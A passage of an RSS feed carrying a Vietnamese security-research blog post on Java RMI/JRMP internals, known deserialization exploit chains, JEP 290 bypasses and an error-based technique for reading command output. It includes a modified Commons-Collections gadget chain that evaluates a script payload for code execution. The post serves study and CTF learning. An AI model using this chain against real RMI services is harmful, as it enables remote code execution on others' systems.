đây</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*BC8ofEtYgW639Qz-5o4WjQ.png" /><figcaption>RMI Architecture</figcaption></figure><p>Ngoài Registry ra thì còn có những component khác như là <strong>DGC (Distributed Garbage Collection) </strong>và <strong>những RMI service khác.</strong></p><p><strong>Giải thích về Architecture</strong></p><ul><li>Đầu tiên Registry khi start sẽ bind những method cơ bản như lookup,bind,list,rebind,… vào Registry để đảm bảo những method này sẽ có sẵn để client sử dụng</li><li>Stub và Skel được xem như là 2 proxy của client-side và server-side. RMI là một protocol sử dụng chính JRMP protocol (Java Remote Method Call). Hiểu nôm na như thế này, ví dụ client muốn gọi một method A ở server và nhận về return value thì vai trò của Stub (proxy phía client-side) sẽ process (coi như là một quá trình encode đi) để method call đó của client thành dưới dạng JRMP, Skel (proxy phía server-side) sẽ process (decode) packet được send từ client, sau đó excute method đó phía server-side, xong xuôi process return value và gửi lại về phía client</li></ul><p><strong>Về DGC (Distributed Garbage Collection)</strong></p><p>Hiểu nôm na như sau, sau khi mà client thực hiện một remote method call tới server thì sau khi encode xong packet thì một component khác là DGCClient (DGC ở phía client) sẽ thực hiện một dirty() call tới DGC server để nhằm đăng kí với DGC server là remote reference mà client đang muốn call, để DGC server tạo 1 Lease với mục đích là để GC (Garbage Collection) không collect remote reference đó trong quá trình “automatic memory management”. Một khi client đã sử dụng xong remote reference đó thì DGCClient cũng sẽ call một method là clean() tới DGC server để nói với server là không cần giữ remote reference đó nữa và để GC collect memory đó.</p><p><strong>RMI-JRMP protocol analysis</strong></p><p>Mình sẽ giải thích dần từng field dưới đây và quá trình mình debug để hiểu hết từng field đó !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BM_Up3CJbrTV4uu0uFWijg.png" /><figcaption>lấy từ Slide của @_tint0</figcaption></figure><p>Mình sẽ sử dụng context, env từ link <a href="https://github.com/mogwailabs/rmi-deserialization/">github </a>này để phân tích. Để tiện cho việc debug thì mình sẽ build phần server code thành 1 file jar, mình sẽ load cả proj vào IntelliJ, file jar mình sẽ run và mở remote debug ở VM. Từ IntelliJ sẽ vừa có thể remote debug server code cũng như debug client code có sẵn!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*-E_-OInmeYuavopHH-L1LA.png" /><figcaption>breakpoint line 16 để xem Stub sẽ encode packet ntn ?</figcaption></figure><p>Sau vài step thì mình nhảy tới một constructor của Class StreamRemoteCall</p><pre>&lt;init&gt;:70, StreamRemoteCall (sun.rmi.transport)<br>newCall:348, UnicastRef (sun.rmi.server)<br>lookup:112, RegistryImpl_Stub (sun.rmi.registry)<br>main:16, BSidesClient (de.mogwailabs.BSidesRMIService)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*i8T95Ik0cMff5Lgm2xlzZg.png" /><figcaption>80 là operation, var2 là ObjID, var3, var4 ở đây là field num và hash (Class StreamRemoteCall)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*zQd512_0pKhi3RY15o7H9g.png" /><figcaption>args field là var1 (Class RegistryImpl_Stub)</figcaption></figure><p>Như đã thấy thì JRMP protocol phần lớn dựa vào Serialization, đây cũng là sink để các researcher focus vào và exploit. Okay tiếp đến chúng ta remote debug xem phía server side xử lý như thế nào</p><p>Stacktrace</p><pre>run0:729, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>run:-1, 310334923 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)<br>doPrivileged:-1, AccessController (java.security)<br>run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>runWorker:1149, ThreadPoolExecutor (java.util.concurrent)<br>run:624, ThreadPoolExecutor$Worker (java.util.concurrent)<br>run:748, Thread (java.lang)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*CsRqGZQkoINSeK613AUeNQ.png" /></figure><p>Ở lớp transport thì chúng ta thấy rõ phía server-side xử lý như thế nào với các field magic,version và protocol. Như ở đây thì sẽ có 2 magic value, magic value thứ nhất sẽ nhảy vào nhánh RMI over HTTP, nhánh 2 sẽ là RMI protocol thuần. Version thì chỉ có một value là 2. Còn protocol sẽ tương ứng như hình sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*NSc0tEMrAT3L1TZ7c5AiBg.png" /></figure><p>Như ở phía trên, khi client muốn thực hiện remote call thì phải tạo một StreamRemoteCall với procotol value là 80.</p><pre>dispatch:298, UnicastServerRef (sun.rmi.server)<br>run:200, Transport$1 (sun.rmi.transport)<br>run:197, Transport$1 (sun.rmi.transport)<br>doPrivileged:-1, AccessController (java.security)<br>serviceCall:196, Transport (sun.rmi.transport)<br>handleMessages:573, TCPTransport (sun.rmi.transport.tcp)<br>run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>run:-1, 310334923 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)<br>doPrivileged:-1, AccessController (java.security)<br>run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>runWorker:1149, ThreadPoolExecutor (java.util.concurrent)<br>run:624, ThreadPoolExecutor$Worker (java.util.concurrent)<br>run:748, Thread (java.lang)</pre><p>Khi protocol value 75, như bạn sẽ thấy, chúng ta sẽ nhảy vào serviceCall() của Class Transport.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*RTUIHUFm-8vlIgX6I_VnpA.png" /><figcaption>Server sẽ get Dispatcher tương ứng với các ObjID khác nhau</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*16zf_ZE7bsfgeeH2TTalHg.png" /></figure><p>num và hash field cũng được read từ Stream, sau đó tương ứng với từng hash sẽ get ra Method từ một Map, tiếp đến là unmarshalParameters (deserialize) những args kèm theo với Method đó. Như vậy thì đã xong quá trình reverse lại JRMP protocol để hiểu rõ hơn. Tiếp đến sẽ tùy từng case cụ thể, context, env như thế nào mà mình đã phân tích học được.</p><p><strong>Past Exploits</strong></p><p>Trước đây, từ lúc Java Deserialization bắt đầu bùng nổ thì những researchers khác cũng bắt đầu research và có những exploit với RMI. Cụ thể như là các chain:</p><ol><li><strong>java.rmi.server.useCodebaseOnly property</strong></li></ol><ul><li>Mình không chắc đây có phải là một exploit chain hay không, property java.rmi.server.useCodebaseOnly của JDK được enable default sau JDK 7u21</li><li>property này cho phép server-side khi deserialize một Object nhưng không tồn tại trong classpath có thể thực hiện remote classloading. Tức có nghĩa load Java Byte Code từ site của attacker và recover lại Object đó. Và bạn biết rồi đó quá trình này có thể giúp attacker thực hiện những đoạn “malicious code” :)</li><li>Đây cũng là một solution cho bài CTF thứ nhất mình đề cập về RMI</li></ul><p>2. <strong>Registry exploit của mbechler</strong></p><ul><li>Chain này exploit vào method bind() của Registry khi không validate từ client-side, dẫn đến client có thể bind một malicicous object sau đó phía server-side sẽ deserialize object này (unmarshalParameters).</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java</a></li><li>Đây cũng là solution thứ hai của bài CTF thứ nhất mình để cập</li><li>Tuy nhiên attack vector bị limit từ jdk version 8u121, sau khi có JEP 290</li><li>JEP 290 là gì thì các bạn có thể tìm hiểu qua link sau: <a href="https://openjdk.java.net/jeps/290">https://openjdk.java.net/jeps/290</a></li><li>Từ JEP 290 thì trong config của JDK cũng có sẵn một whitelist dành cho RMI Registry</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*CphEl7P81LMbRnexkYY_3w.png" /><figcaption>JDK_PATH\jdk1.8.0_201\jre\lib\security\java.security</figcaption></figure><p>3. <strong>JRMPClient của mbechler</strong></p><ul><li>Chain này nhằm vào DGC service mà mình đã đề cập ban đầu, các bạn có thể trace và debug như quá trình mình phân tích method lookup() của Registry phía trên để hiểu rõ hơn ở step nào thì attacker có thể chèn một malicious Object trong lúc thực hiện JRMP call đến DGC server</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java</a></li><li>Chain này cũng bị filter từ jdk version 8u121</li><li>Từ sau JEP 290 thì jdk cũng có whitelist dành cho DGC</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*yu2tr8FFA_ZOybPOL3g6jQ.png" /></figure><p>4. <strong>JRMPListener của mbechler</strong></p><ul><li>Chain này đại loại như giả lập một DGC server mà attacker đã control sẵn, mục tiêu là làm cách nào đó chúng ta khiến target có thể tạo một JRMP call tới Listener của chúng ta</li><li>Như chúng ta đã phân tích về JRMP, thì có thể thấy ở method StreamRemoteCall.excuteCall(), sau khi releaseOutputStream() (hoàn thành quá trình encode và đẩy packet lên server), sau đó sẽ read một byte, nếu value đó là 2 thì tiếp tục thực hiện readObject() -&gt; Java Deserialize Sink</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*0J1_ZCcFXx_JhTCs0izpSg.png" /></figure><ul><li>Thế nên ra đời một version custom gọi là JRMPListener mục tiêu là chuyển server-side thành client-side và khiến target connect tới JRMPListener và send back một malicious Object cho target để Deserialize</li><li>Chain: <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java">https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java</a></li><li>Vậy thì làm như thế nào để chuyển server-side thành client-side và call JRMP tới attacker JRMPListener ?</li><li>idea sau xuất phát từ bài blog của codewhitesec: <a href="https://codewhitesec.blogspot.com/2017/04/amf.html">https://codewhitesec.blogspot.com/2017/04/amf.html</a></li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fd0e913c95e9d589be4639cd11bb3517/href">https://medium.com/media/fd0e913c95e9d589be4639cd11bb3517/href</a></iframe><ul><li>Ngoài sink là readObject() thì khi phân tích Java Deserialization thì bạn có thể còn thấy như readExternal(), về điểm này thì mình khuyên các bạn nên thử debug và phân tích internal khi readObject thì JDK xử lý như thế nào. Ở đây thì trong quá trình recover lại một Object qua ObjectInputStream.readObject() thì JDK sẽ check thử xem class mà đang recover implement Serializable (tức có thể overide method readObject()), hoặc implement Externalizable (tức có thế overide method readExternal())</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*I5uM8KGLlvKlxXSlxcIU6g.png" /></figure><p>như ở nhánh readSerialData thì JDK sẽ cố gắng excute method readObject() mà class đó có overide, đây cũng là điểm mà dẫn đến khái niệm gadget chain. Hoặc ở nhánh còn lại cố gắng excute method readExternal()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*CJXLkgkuWDkH0FOZKQCDYw.png" /></figure><ul><li>Turning readExternal() to readObject() ? (bạn đọc hãy đọc bài viết gốc của codewhitesec để hiểu rõ ý tưởng hơn)</li><li>Stacktrace</li></ul><pre>makeDirtyCall:377, DGCClient$EndpointEntry (sun.rmi.transport)<br>registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)<br>registerRefs:156, DGCClient (sun.rmi.transport)<br>read:312, LiveRef (sun.rmi.transport)<br>readExternal:493, UnicastRef (sun.rmi.server)<br>readExternalData:1849, ObjectInputStream (java.io)<br>readOrdinaryObject:1806, ObjectInputStream (java.io)<br>readObject0:1353, ObjectInputStream (java.io)<br>readObject:373, ObjectInputStream (java.io)<br>deserialize:37, JRMPClient (it.polictf.lamermi)<br>main:13, JRMPClient (it.polictf.lamermi)</pre><ul><li>Tóm tắt lại thì deserialize một Object UnicastRef thì class này sẽ cố gắng call dirtyCall() tới DGC server. Đến đây thì chain có thể hoàn chỉnh, có thể turn server-side thành client-side và archive Deserialization</li><li>Class UnicastRef này nằm trong whitelist nên có thể bypass JEP 290</li></ul><p><strong>Antp’s Work Analysis</strong></p><p>Trước khi đi đến phần bài talk của Antp thì mình muốn nói một tý về quá trình mình tìm hiểu và dựng lại chain trên. Trước khi làm chain của Antp thì mình làm case chuyển server-side thành client-side trước và mình cố gắng kế hợp nhưng bug khác để hiểu rõ hơn, như là</p><p><strong>CVE-2019–2684</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*mZ52e-f9sHNYRLCqmwJw-Q.png" /></figure><p>Attack vector này giúp chúng ta không nhảy vào oldDispatch() nếu như var3 &lt; 0. Mình không rõ từ jdk version nào thì RegistryImpl_Skel.dispatch() method bind check thêm là client chỉ có thể bind từ các local interface</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/1*LVkZJE4gs9zdTVa9m9vGSw.png" /></figure><p><strong>CVE-2018–2800</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Zh7_x51_LbhoKfwupA78Sg.png" /></figure><p>Như ở phần phân tích JRMP protocol thì var6 ở đây là magic field, chúng ta có thể custom lại client và lợi dụng feature HTTP over RMI để bypass checkAcess. Một case rất cụ thể trong slide của Antp đó là Registry Rebinding.</p><p>Tuy rằng 2 cái CVE trên không liên quan nhiều đến phần phân tích chain của Antp nhưng qua đó mình muốn nói rằng, khi bạn đã có một cái view chuẩn, hiểu rõ thứ mà mình đang làm thì sẽ dễ dàng và luồng suy nghĩ bạn sẽ rộng ra rất nhiều. Chẳng hạn nếu chỉ focus vào sink readObject trong RMI thì bạn sẽ chỉ tìm cách bypass JEP 290 và tìm một chain mới, bạn sẽ không thể biết thêm JRMP protocol hoạt động như thế nào, dispatch như thế nào, không thể biết rằng JDK có enable RMI over HTTP, … Đây là một cách làm mà mình cảm giác rất hay từ Antp và chỉ khi bạn bỏ thời gian đọc slide thì mới cảm nhận được cách làm cũng như suy nghĩ của những người khác truyền đạt !</p><p>Phải thừa nhận lúc làm mình chưa hiểu thật rõ nhiều khía cạnh của chain này, mình lại suy nghĩ theo chain UnicastRef, và thực sự chain này vẫn bypass được JEP 290 vì lý do Object Registry extends class Remote (và class Remote nằm trong whitelist)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*6Wv8wj77dAOGO_DlnBkqyg.png" /></figure><p>Tuy nhiên, chain này không thể read được return value bằng error base do bị catch lại ngay method DGCClient.makeDirtyCall() và không tiếp tục throw Exception. Chi tiết mình sẽ đề cập rõ hơn trong phần sau.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*wDHeqI17LzMd7xws_a2OGw.png" /></figure><p><strong>Antp Gadget + Error based to read return value</strong></p><p>Tưởng tượng xem ở một môi trường restricted network, không có DNS, ICMP, không có outbound, bạn chỉ có thể connect tới Registry port 1099, classpath có Common-Collections version 3.2.1 chẳng hạn, đủ điều kiện RCE rồi. Hết ! Dù jdk version nào nữa thì bạn vẫn cần một cách để đọc return value của cmd mà bạn đã execute. Right?</p><p>Env ở đây vẫn là ví dụ ban đầu và JDK version 8u201</p><p>Vậy thì làm thế nào có thể đọc return value bằng error base, classpath có Common Collection 3.2.1 ?</p><p>Ý tưởng đầu tiên, Dùng classloader load bytecode đã craft sẵn để recover lại Class và execute một method (exec cmd và return một Exception). Idea này mình fail ban đầu định dùng DefiningClassLoader.defineClass() tuy nhiên lib rhino lại trong có trong classpath. Mình cũng tìm một vòng jdk để xem có classloader nào khác được implement lại có cả constructor và method define với acess modifier là public hay không. Tuy nhiên mình cũng dừng lại sau vài cái search vì được <a href="https://medium.com/u/6ac51190917c">Jang</a> hướng dẫn idea thứ 2. Đó là dùng ScriptEngineManager để eval Java code.</p><p>Ở đây mình edit lại chain CC6 như sau</p><pre>final Transformer[] transformers = new Transformer[] {<br>    new ConstantTransformer(ScriptEngineManager.class),<br>    new InvokerTransformer(&quot;getConstructor&quot;,<br>        new Class[] {Class[].class },<br>        new Object[] {new Class[0] }),<br>    new InvokerTransformer(&quot;newInstance&quot;,<br>        new Class[] {Object[].class},<br>        new Object[] {new Object[0]}),<br>    new InvokerTransformer(&quot;getEngineByName&quot;,<br>        new Class[] { String.class},<br>        new Object[]{ &quot;JavaScript&quot;}),<br>    new InvokerTransformer(&quot;eval&quot;,<br>        new Class[] {String.class},<br>        new Object[] {payload}),<br>    new InvokerTransformer(&quot;toString&quot;,<br>        new Class[] {},<br>        new Object[] {})};</pre><p>Nếu như bạn có từng phân tích chain CC thì chắc có thể sẽ từng stuck vì chưa thêm return value, như ở các chain CC khác thì return value sẽ được set</p><pre>new ConstantTransformer(1)</pre><p>ở đây thì mình viết một payload exec cmd, return Exception với value là output của cmd đó, khi getEngineByName eval Java code thì mình gọi method toString để dump output của cmd ra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C_JShOn2YkDYfRmUJ1MwnQ.png" /></figure><p>và output cmd sẽ được map vào trong gadget CC6 dạng [“foo”: output_cmd]</p><p>Okay quay lại thì tại sao Chain của anh Antp có thể read được return value bằng error base?</p><p>Stacktrace chain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7-Rr6-_dcFY7yrUJ3P0dhA.png" /></figure><p>Để hiểu rõ hơn thì <a href="https://mogwailabs.de/blog/2020/02/an-trinhs-rmi-registry-bypass/">mogwailabs</a> cũng có một bài phân tích về chain này</p><p>Ý tưởng chain này vẫn là chuyển server-side thành client-side, quay lại chỗ excuteCall() xem kĩ vì sao chúng ta có thể nhận được return value nhé !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*4-Y7Si-3zDHar_GSfBUDAg.png" /></figure><p>Đoạn này sau khi connect đến JRMPListener, Listener sẽ send lại một malicious Object cho server (bị chuyển thành client-side) để deserialize, và nếu Object này là instance của Exception thì server (bị chuyển thành client-side) có thể đọc được stacktrace này. Như lúc bạn mở ysoserial exploit RMIRegistryExploit chẳng hạn, nếu version jdk có JEP 290 thì bạn sẽ nhận lại về một stacktrace như sau, cơ chế này giúp bạn có thể đọc được stacktrace khi có Exception xảy ra khi remote call fail</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1XYYN1KoTQF_RIft8gSg3A.png" /></figure><p>Nhưng nếu craft một object như BadAttributeValueExpException(HashMap(foo=[Transformer Chain])), thì sau quá trình deserialize thì vẫn thỏa mãn object sau khi Deserialize là instance của Exception nhưng đó chỉ là phía server-side nhận, còn để chuyển exception đó về cho attacker thì như thế nào?</p><p>Đây mới là cái hay trong chain của Antp, đó là proxy UnicastServerRef qua RemoteObjectInvocationHandler, thì trong quá trình deserialize UnicastRemoteObject, sẽ call method reexport(), … rồi đến exportObject()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*potS80VSXvOVNkEmXks7RQ.png" /></figure><p>Do là UnicastServerRef đã được proxy qua RemoteObjectInvocationHandler, nên lúc này method exportObject() sẽ được qua method invokeRemoteMethod()</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*iN8s4b7j5ttMsrzy5tdJHg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*TGzOoRhrVWENaUwC8sl_Og.png" /></figure><p>Và từ đây sẽ JRMP call tới JRMPListener mà mình đã control sẵn bằng Java Reflection, khiến quá trình deserialize connect tới JRMPListener của attacker, để ý trong method invokeRemoteMethod này có catch lại Exception và throw ra. Và ở UnicastServerRef.dispatch() có đoạn catch như sau</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*TVe55UxARqkFi5tiP0iCvg.png" /></figure><p>Như đoạn code sau các bạn có thể thấy là Exception từ server được serialize và send về phía client để client nhận</p><p>Tóm lại flow sẽ như thế này</p><ul><li>Chain bypass JEP 290</li><li>UnicastServerRef.dispatch()</li><li>UnicastRemoteObject.readObject()</li><li>UnicastRemoteObject.reexport()</li><li>RemoteObjectInvocationHandler.invokeRemoteMethod()</li><li>make JRMPCall to JRMPListener</li><li>Deserialize BadAttributeValueExpException(HashMap(foo=[Transformer Chain])), return BadAttributeValueExpException(HashMap(foo=[output cmd])) -&gt; gọi object này là A</li><li>StreamRemoteCall.exceptionReceivedFromServer() -&gt; throw Object A</li><li>RemoteObjectInvocationHandler.invokeRemoteMethod() catch Exception -&gt; tiếp tục throw</li><li>UnicastServerRef catch Exception serialize Exception send back to server</li></ul><p>=&gt; full bypass JEP 290 + read output cmd via error based</p><p><strong>Kết</strong></p><p>Kết bằng một đoạn message mang lại rất nhiều inspired từ một anh nước ngoài và mình cũng muốn mang thông điệp này đến các người khác. Go ahead and keep working ! Have a nice weekend all !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*C5ux2Pa2SIS8WlfXzoU1pw.png" /><figcaption>thanks @_jsoo_</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8cfaec07857" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cdlabs/rmi-study-note-and-some-study-case-f8cfaec07857">RMI Study Note And Some Study Case</a> was originally published in <a href="https://medium.com/cdlabs">CDLabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[RMI] Study Note And Some Study Case]]></title>
            <link>https://medium.com/tradahacking/rmi-study-note-and-some-study-case-72bfd47275d9?source=rss-9d0bc610db35------2</link>
            <guid isPermaLink="false">https://medium.com/p/72bfd47275d9</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[mir]]></category>
            <category><![CDATA[java]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Peterjson]]></dc:creator>
            <pubDate>Sun, 23 Feb 2020 09:03:15 GMT</pubDate>
            <atom:updated>2020-02-23T11:09:48.868Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi ! Lâu rồi mình cũng không viết blog hay là write-up về CTF nữa, mà lần này mình muốn viết về một chủ đề khác, về RMI, về Java và muốn chia sẻ chính về cách mình tiếp cận, quá trình đào sâu một vấn đề mới và nhiều thứ khác nữa. Bài viết này dựa vào một phần nhỏ mình tự tìm hiểu và phần còn lại là phân tích về bài <a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf">talk </a>mới đây của anh Antp (@_tint0). Thật sự đây là một bài research rất hay và tâm huyết của anh Antp và nếu qua bài viết của mình đâu đó có làm bạn đọc cảm thấy thích thú muốn tìm hiểu về Java nhiều hơn thì <a href="https://blog.tint0.com/">blog</a> này rất phù hợp kèm với một số resources khác mình sẽ reference thêm trong bài viết.</p><p><strong>CTF case</strong></p><p>Okay, một phương pháp mà mình áp dụng cho chính bản thân mình khi học một cái gì đó mới là xem thử đã có ai có tổ chức nào chuyển idea bug mà mình muốn analysis thành một bài CTF. Tại sao điều này lại có ý nghĩa với mình? Thứ nhất là mình sẽ có sẵn một context, env cụ thể, có thể giúp bản thân tiết kiệm thời gian deploy, thứ hai là tất nhiên sẽ có một bài write-up nào đó là một mớ reference cũng như resource kèm theo để mình tìm hiểu. <br>Như lúc mình học về Java Deserialization thì mình cũng tìm và làm những bài CTF liên quan. Nếu bạn quan tâm thì có 2 bài CTF rất hay.</p><p>Bài đầu tiên là bài <a href="https://blog.tint0.com/2019/03/matesctf-2018-wutfaces-cve-2013-2165.html">WutFaces Mates CTF 2018</a> sẽ giúp bạn vừa hiểu được cách viết một gadget custom như thế nào, kĩ năng phân tích một 1day chưa có PoC chẳng hạn, và mở ra tiếp một case thực tế cụ thể hơn từ tác giả ( <a href="https://blog.tint0.com/2019/03/when-el-injection-meets-java-deserialization.html">When EL Injection meets Java Deserialization</a> ), bạn sẽ biết thêm về Expression Language là gì, có những parser nào, từng parser có những pros/cons như thế nào, recon library của target mà tác giả tìm ra thú vị như thế nào, …</p><p>Bài thứ hai là bài <a href="https://medium.com/nightst0rm/writeup-web03-whitehat-grand-prix-2018-java-ssrf-java-deserialization-to-sql-injection-c20b211ddd91">web03 whitehat final 2018</a> , đây cũng là một bài rất hay, giúp cho bạn biết thêm SSRF ở java thì khác như thế nào với những loại SSRF cổ điển khác, cũng như cũng protocol chỉ có ở Java có ích như thế nào khi target có bug SSRF. Bug thứ 2 là chain giữa Java Deserialization và SQLi, bạn sẽ một lần nữa biết cách analysis + viết gadget chain để có thể từ Java Deserialization tới Sqli trong context của bài CTF này như thế nào, …</p><p>Mình có <a href="https://docs.google.com/presentation/d/1y01MiSmbqX54AE5FZVo9tZlrau9pakFDx4pEjqWOLb8/edit#slide=id.p">bài phân tích</a> cả 2 bài CTF trên, nhưng điều mình mong muốn là các bạn hãy thử bỏ thời gian ra thử sức để học để hiểu được nhưng thứ hay ho mà 2 anh tác giả mang lại</p><p>Quay lại context RMI, như vậy thì sẽ có những bài CTF như thế nào để vừa làm vừa học? Okay loanh quay internet thì mình tìm được 2 bài sau: <a href="https://github.com/polictf/sources2017/tree/master/pwn-lamermi">link1</a> (bài này về codebase và remote class loading), <a href="https://github.com/ALLESCTFTeam/ctf/tree/master/2018/RealWorldCTF2018_Finals/RMI">link2</a> (bài này Realworld CTF 2018 Final — CTF kiểu mang 1day vô hay PoC mới để player build + analysis là một gì đó rất thú vị mà mình vẫn chưa được tham gia lần nào). Về chi tiết của từng bài mình sẽ phân tích sau. Đến đây thì vẫn mong bạn đọc sẽ bỏ thời gian thử sức như một player để xem bản thân stuck như thế nào, giải quyết như thế nào. Với bản thân mình thì quá trình khi giải một bài CTF giúp mình grow up rất nhanh cũng như lượng kiến thức mang lại là rất nhiều !</p><p><strong>RMI Architecture</strong></p><p>Điều đầu tiên khi bạn muốn tìm hiểu một loại bug mới thì trước tiên bạn phải hiểu rõ cơ chế hoạt động của target bạn nhắm đến nó như thế nào cũng như nhưng công nghệ bạn cần phải học. Quá trình này rất cần thiết và là việc cần làm đầu tiên để về sau khi đi vào phân tích bug sẽ không còn mơ hồ làm bạn mất thời gian quay lại xem.</p><p>Tóm gọn lại thì RMI Architecture ( về Registry ) được mô phỏng lại thành hình dưới đây</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/0*GnRK7jbS9PLpXh9O.png" /><figcaption>RMI Architecture</figcaption></figure><p>Ngoài Registry ra thì còn có những component khác như là <strong>DGC (Distributed Garbage Collection) </strong>và <strong>những RMI service khác.</strong></p><p><strong>Giải thích về Architecture</strong></p><ul><li>Đầu tiên Registry khi start sẽ bind những method cơ bản như lookup,bind,list,rebind,… vào Registry để đảm bảo những method này sẽ có sẵn để client sử dụng</li><li>Stub và Skel được xem như là 2 proxy của client-side và server-side. RMI là một protocol sử dụng chính JRMP protocol (Java Remote Method Call). Hiểu nôm na như thế này, ví dụ client muốn gọi một method A ở server và nhận về return value thì vai trò của Stub (proxy phía client-side) sẽ process (coi như là một quá trình encode đi) để method call đó của client thành dưới dạng JRMP, Skel (proxy phía server-side) sẽ process (decode) packet được send từ client, sau đó excute method đó phía server-side, xong xuôi process return value và gửi lại về phía client</li></ul><p><strong>Về DGC (Distributed Garbage Collection)</strong></p><p>Hiểu nôm na như sau, sau khi mà client thực hiện một remote method call tới server thì sau khi encode xong packet thì một component khác là DGCClient (DGC ở phía client) sẽ thực hiện một dirty() call tới DGC server để nhằm đăng kí với DGC server là remote reference mà client đang muốn call, để DGC server tạo 1 Lease với mục đích là để GC (Garbage Collection) không collect remote reference đó trong quá trình “automatic memory management”. Một khi client đã sử dụng xong remote reference đó thì DGCClient cũng sẽ call một method là clean() tới DGC server để nói với server là không cần giữ remote reference đó nữa và để GC collect memory đó.</p><p><strong>RMI-JRMP protocol analysis</strong></p><p>Mình sẽ giải thích dần từng field dưới đây và quá trình mình debug để hiểu hết từng field đó !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/0*mhk1qObP-ZaRTu9M.png" /><figcaption>lấy từ Slide của @_tint0</figcaption></figure><p>Mình sẽ sử dụng context, env từ link <a href="https://github.com/mogwailabs/rmi-deserialization/">github </a>này để phân tích. Để tiện cho việc debug thì mình sẽ build phần server code thành 1 file jar, mình sẽ load cả proj vào IntelliJ, file jar mình sẽ run và mở remote debug ở VM. Từ IntelliJ sẽ vừa có thể remote debug server code cũng như debug client code có sẵn!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*xFQPZk4AHxZGyrqG.png" /><figcaption>breakpoint line 16 để xem Stub sẽ encode packet ntn ?</figcaption></figure><p>Sau vài step thì mình nhảy tới một constructor của Class StreamRemoteCall</p><pre>&lt;init&gt;:70, StreamRemoteCall (sun.rmi.transport)<br>newCall:348, UnicastRef (sun.rmi.server)<br>lookup:112, RegistryImpl_Stub (sun.rmi.registry)<br>main:16, BSidesClient (de.mogwailabs.BSidesRMIService)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/0*eIt0pBhVRL-DVQ1J.png" /><figcaption>80 là operation, var2 là ObjID, var3, var4 ở đây là field num và hash (Class StreamRemoteCall)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/0*uywnXm1EIjDJmKUe.png" /><figcaption>args field là var1 (Class RegistryImpl_Stub)</figcaption></figure><p>Như đã thấy thì JRMP protocol phần lớn dựa vào Serialization, đây cũng là sink để các researcher focus vào và exploit. Okay tiếp đến chúng ta remote debug xem phía server side xử lý như thế nào</p><p>Stacktrace</p><pre>run0:729, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)<br>lambda$run$0:688, 